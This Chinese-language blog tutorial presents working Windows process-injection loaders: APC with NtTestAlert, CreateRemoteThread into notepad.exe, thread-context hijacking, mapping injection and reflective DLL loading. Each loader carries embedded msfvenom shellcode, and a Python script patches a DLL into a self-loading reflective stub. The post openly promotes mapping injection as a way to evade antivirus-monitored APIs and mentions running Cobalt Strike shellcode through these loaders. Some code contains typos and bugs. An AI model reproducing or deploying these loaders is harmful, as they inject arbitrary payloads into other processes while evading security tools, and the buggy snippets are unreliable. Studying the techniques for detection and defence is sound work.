APC(Asynchronous Procedure Call 异步过程调用)是在 Windows 中常用的机制,用于将要在特定线程上下文中完成的作业排队。
APC的实际作用:假设一个线程在执行过程中,发出一个I/O请求,然后设备驱动执行线程传过来的I/O请求,但发出I/O请求的线程会继续执行下去。当线程需要获得返回结果才能继续进行的时候,这时候的线程处于Alertable状态。当设备驱动执行完I/O请求,会将结果插入APC队列,此时系统就会执行APC队列。
APC有两种形式
- 用户模式APC:由应用程序产生,APC函数地址位于用户空间,在用户空间执行。
- 内核模式APC:由系统产生,APC函数地址位于内核空间,在内核空间执行。
注意事项
- 每个线程都会有一个APC队列。
- 当一个线程从等待状态中苏醒(线程调用
SleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx
函数时会进入可唤醒(Alertable)状态),进入Alertable状态的时候,Windows 会在这些函数返回前遍历该线程的APC队列,然后按照先进先出 (FIFO)的顺序来执行APC。
- 在用户模式下,使用QueueUserAPC把APC过程添加到目标线程的APC队列中。等这个线程恢复执行时,就会执行插入的APC。也可利用NtTestAlert函数,它会检查当前线程的 APC 队列,如果有任何排队的APC 作业,它会运行它们以清空队列。
1
2
3
4
5
|
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //APC 函数地址
[in] HANDLE hThread, //线程句柄(可以跨进程)
[in] ULONG_PTR dwData //APC 函数的参数
);
|
如上所述,可知道主动运行APC 队列有两种方式: 一是可通过创建一个suspend状态的线程,将shellcode地址插入该线程的APC 队列,再唤起该线程,此时APC 队列就会执行。二是通过NtTestAlert来主动执行APC 队列。
实现代码
生成弹计算器的shellcode msfvenom -p windows/x64/exec CMD="calc.exe" -f c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#include <Windows.h>
//定义NtTestAlert的函数指针
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
//获取ntdll.dll地址
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
//分配可执行内存空间
LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
//((void(*)())lpBaseAddress)();
//方法一
QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
NtTestAlert();
//方法二
/*HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
QueueUserAPC((PAPCFUNC)lpBaseAddress, hThread, NULL);
ResumeThread(hThread);
WaitForSingleObject(hThread,INFINITE);*/
}
|
-
函数指针定义格式
void (* func) (void);
-
函数指针作用
调用函数和做函数的参数。
-
理解
- 函数指针的实质还是指针,还是指针变量。
- 函数指针、数组指针、普通指针之间并没有本质区别,区别在于指针指向的是什么。
- 函数的实质是一段代码,这一段代码在内存中是连续分布的。函数中的第一句代码的地址就是所谓的函数地址,在C语言中用函数名这个符号来表示。
1
2
3
4
5
6
7
8
9
|
void func1(void) //定义一个函数,以方便下面定义函数指针
{
printf("test for function pointer.\n");
}
void (*pFunc)(void); //函数指针定义
pFunc = func1; //函数指针赋值
(*pFunc)(); //函数指针调用;用函数指针来调用以调用该函数,注意*pFunc要用()括起来
//pFunc(); //调用的第二种写法,效果和上面一样
|
而指针函数实质是一个函数,叫这个名字是因为他的返回类型是某一类型的指针。
就是把从指定地址开始的命令当作函数进行调用执行。
void (*)()
是一个无参数、无返回类型的函数指针。
(void (*)())lpBaseAddress
是将lpBaseAddress强转为函数指针类型。
(*(void (*)()) lpBaseAddress)()
就是通过函数指针(相当于这个格式(*函数指针)()
)进行函数调用。
远程线程注入主要是通过CreateRemoteThread
在另外一个进程中创建一个线程并执行。
1
2
3
4
5
6
7
8
9
|
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
|
注入方式很简单: 打开远程进程句柄(PROCESS_ALL_ACCESS)—在目标进程里分配内存空间—将shellcode 写入到远程地址空间中—给CreateRemoteThread传入shellcode地址,启动线程。
实现代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0, GetProcessIdByName(L"notepad.exe"));
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 2*4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//注入shellcode
WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
HANDLE hThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
//注入dll
//char path[] = "C:\\Users\\kaifa\\Desktop\\1.dll";
//WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
//LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
//CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
printf("%d\n",GetLastError());
}
|
为什么在注入calc的shellcode后会导致目标进程崩溃,但是注入cs的shellcode却不会?
个人认为cs的shellcode运行后会阻塞自己(sleep),这样会给Windows 调度其他线程的机会。所以该进程的其他线程会有机会执行。弹计算器的shellcode执行完后该线程就直接退出了。
或者修改线程上下文的Rip指针来执行shellcode。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
TCHAR ProcessName[] = L"notepad";
CreateProcess(NULL, ProcessName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, 2 * 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
|
指令指针IP/EIP/RIP的基本作用是指向要执行的下一条指令地址。
- 在8086被称为IP(instruction pointer 指令指针),指向下一条指令。
- 指令指针EIP寄存器包含了当前代码段中的一个偏移量,通过CS:EIP联合指向了即将执行的下一条指令。
- 在64位模式下,指令指针是RIP寄存器。这个寄存器保持着下一条要执行的指令的64位地址偏移量。
内存映射文件就是申请一个区域的地址空间,把位于磁盘上的文件全部或部分映射到该内存地址空间上,而不是常规的文件读写方式: 将文件加载到内存中,再分配内存给该地址空间。这种方式的好处是可以不用对文件执行I/O操作,以及对文件内容进行缓存,特别是在处理超大文件时,对内存资源占用极少。
使用内存映射注入还可以在分配内存时,避免使用一些被杀毒软件严密监控的API,如VirtualAllocEx,WriteProcessMemory
等。
正常的内存映射文件流程:
- 利用CreateFile 创建文件内核对象,获取该对象句柄。
- 利用CreateFileMapping 创建一个文件映射内核对象,并传入第一步打开的文件对象句柄。
- 利用MapViewOfFile 将文件数据映射到进程的地址空间。该函数将返回文件在进程空间的起始地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#include <Windows.h>
#include <Tlhelp32.h>
#pragma comment (lib, "OneCore.lib")
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
//申请了一段进程虚拟地址,相当于代替了VirtualAlloc,这里不需要从磁盘文件读取shellcode,所以没用到CreateFile。
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITEs, 0, 0, sizeof(shellcode));
//复制shellcode到分配的进程虚拟地址中,lpMapAddress为该地址空间的首地址。
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(L"notepad.exe"));
//向另一进程中写入该虚拟地址空间的内容,相当于代替WriteProcessMemory
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
//创建远程线程
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
}
|
Tips: 使用文件映射进行远程进程注入的缺点是它仅适用于 x86→x86 和 x64→x64。VirtualAllocEx与WriteProcessMemory支持跨位数的注入。
推荐后面不使用 MapViewOfFile2和CreateRemoteThread 来注入远程线程,而是使用APC队列。
1
2
3
4
5
|
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE| FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpMapAddress, GetCurrentThread(), NULL);
NtTestAlert();
|
反射DLL 是指:编写DLL 自加载函数(ReflectiveLoader)并导出,然后将PE文件起始字节修改成调用ReflectiveLoader 函数的硬编码。通过ReflectiveLoader 函数使DLL 的PE 结构在内存中展开、修复重定位表、修复IAT表,最后获取DllMain 入口函数地址并执行。
这种方式也可以变相的认为是一种将DLL 变成ShellCode 的技术,不依赖loadlibrary函数且DLL 文件不落地。同样,也可以用上面介绍的ShellCode 注入方式来加载。
修改PE 文件头起始字节,将其改成调用ReflectiveLoader函数的汇编指令。PE 文件都是以MZ字符开头,对应的16进制是4D5A。在将其当作代码执行时,在X86 32位程序上,4D5A 代表dec ebp
pop edx
两条指令。(Hex To ASM Online)所以,如果要保留MZ 这两个字符的话,那么就需要抵消这两条指令的影响。
X86
dec ebp ;ebp -1
pop edx ;edx=[esp] esp+4
//抵消上两条指令的影响
inc ebp
push edx
call 0 ;把下一行指令地址压栈,即pop edx指令地址
pop edx ;取出栈中的地址,保存到edx寄存器中
add edx,<FuncOffset-9> ;计算ReflectiveLoader函数在内存中的位置
push ebp
mov ebp, esp ;保存初始堆栈
call edx ;调用ReflectiveLoader函数
x64
41 5a ;pop r10
41 52 ;push r10
e8 00 00 00 00 ;call 0
5b ;pop rbx
48 81 c3 09 00 00 00 ;add rbx, <FuncOffset-9>
55 ;push rbp
48 89 e5 ;mov rbp, rsp
ff d3 ;call rbx
Python 代码修改PE 文件开头几字节(比较简单,用的idiotc4t 代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
import sys
import pefile
from struct import pack
def help():
print("usage: python3 <DllPath> <FuncName>\n")
def get_func_offset(pe_file,func_name):
if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
if func_name in str(export.name):
func_rva = export.address
break
if func_rva == 0:
help()
print("[-] not found function offset in file")
sys.exit(0)
offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
func_file_offset -= 9
return bytes(pack("<I",func_file_offset))
def get_patch_stub(pe_file,func_offset):
if pe_file.FILE_HEADER.Machine == 0x014c:
is64 = False
elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
is64 =True
else:
print("[-]unknow the format of this pe file")
sys.exit()
if is64:
stub =(
b"\x4D\x5A"
b"\x41\x52"
b"\xe8\x00\x00\x00\x00"
b"\x5b"
b"\x48\x81\xC3" + func_offset +
b"\x55"
b"\x48\x89\xE5"
b"\xFF\xD3"
);
else:
stub = (
b"\x4D"
b"\x5A"
b"\x45"
b"\x52"
b"\xE8\x00\x00\x00\x00"
b"\x5A"
b"\x81\xC2" + func_offset +
b"\x55"
b"\x8B\xEC"
b"\xFF\xD2"
);
return stub;
def patch_dll(pe_path,func_name):
try:
pe_file =pefile.PE(pe_path)
except e:
print(str(e))
help()
sys.exit()
func_offset = get_func_offset(pe_file,func_name)
patch_stub = get_patch_stub(pe_file,func_offset)
filearray = open(pe_path,'rb').read()
print("[+] loaded nameof %s"% (pe_path))
patch_dll_file = patch_stub + filearray[len(patch_stub):]
print("[+] patched offset %s" % (func_offset.hex()))
patch_dll_name = "patch-" +pe_path
open(patch_dll_name,'wb').write(patch_dll_file)
print("[+] wrote nameof %s"% (patch_dll_name))
if __name__ == '__main__':
a = len(sys.argv)
if len(sys.argv) != 3:
help()
sys.exit(0);
pe_path = sys.argv[1]
func_name = sys.argv[2]
patch_dll(pe_path,func_name)
|
至于指令后面DOS的特征,可以都置0或杂乱的值(就像CS 处理的一样)。
参考一下经典项目:https://github.com/rapid7/ReflectiveDLLInjection ,只需要看其中Reflective Dll 项目即可。分析ReflectiveLoader 导出函数之前需要先了解PE 结构以及IAT 表、基址重定位表是如何工作的。项目中注释有很多,看着注释能明白每步操作含义,下面总结一下重要的几个步骤(篇幅影响就不截图了)。
- 首先需要获取当前DLL 加载到内存中的首地址。通过
_ReturnAddress()
获取到下一条指令的地址,接着向前循环查找,直到找到MZ标志,然后获取PE 头地址。(这也是为什么保留了MZ的原因,用于定位DLL的首地址)
- 从当前进程的PEB中获取当前进程kernel32.dll中
LoadLibraryA、GetProcAddress、VirtualAlloc、VirtualLock
函数地址以及ntdll.dll中的NtFlushInstructionCache
函数地址。通过比对这几个函数Hash来确定函数,从而获取函数地址。
- 分配一块新内存空间,将当前DLL 在内存中展开。将PE 头、各区块复制到新分配的内存。之所以复制到新内存空间是为了按照各节区的RVA 以及大小在内存中对齐。
- 接着重要的来了,处理当前DLL 的导入表。首先使用loadlibraryA函数根据导入表加载DLL,然后修复IAT 表中的导入函数地址。如果通过序号导入则手动解析导出函数地址,否则使用
GetProcAddress()
函数得到地址。
- 然后修复基址重定位表,修改硬编码的地址。修复过基址之后要调用
NtFlushInstructionCache
函数刷新指令缓存。
- 接着从PE 头中获取DLLMain地址并调用。
这最后四步其实就是做的PE加载器的活。写好ReflectiveLoader 导出函数并编译DLL,修改此DLL DOS 头后,就可以直接当作shellcode 来用了。
上面的技术要求DLL 必须实现导出函数,其实可以把ReflectiveLoader 直接写在PE 一个空白区块中,确定地址后再进行调用。例如 https://github.com/hasherezade/pe_to_shellcode 就是这样实现的,由此可以把PE 文件直接当作ShellCode 执行且还能让PE 文件依旧有效。
-
Windows Ring3层注入--"QueueUserAPC" APC注入(四)_手拿肉的美女剑豪的博客-CSDN博客
-
APC & NtTestAlert Code Execute
-
Mapping Injection
-
ReflectiveDLLInjection变形应用
-
Reflective Dll Inject 原理解析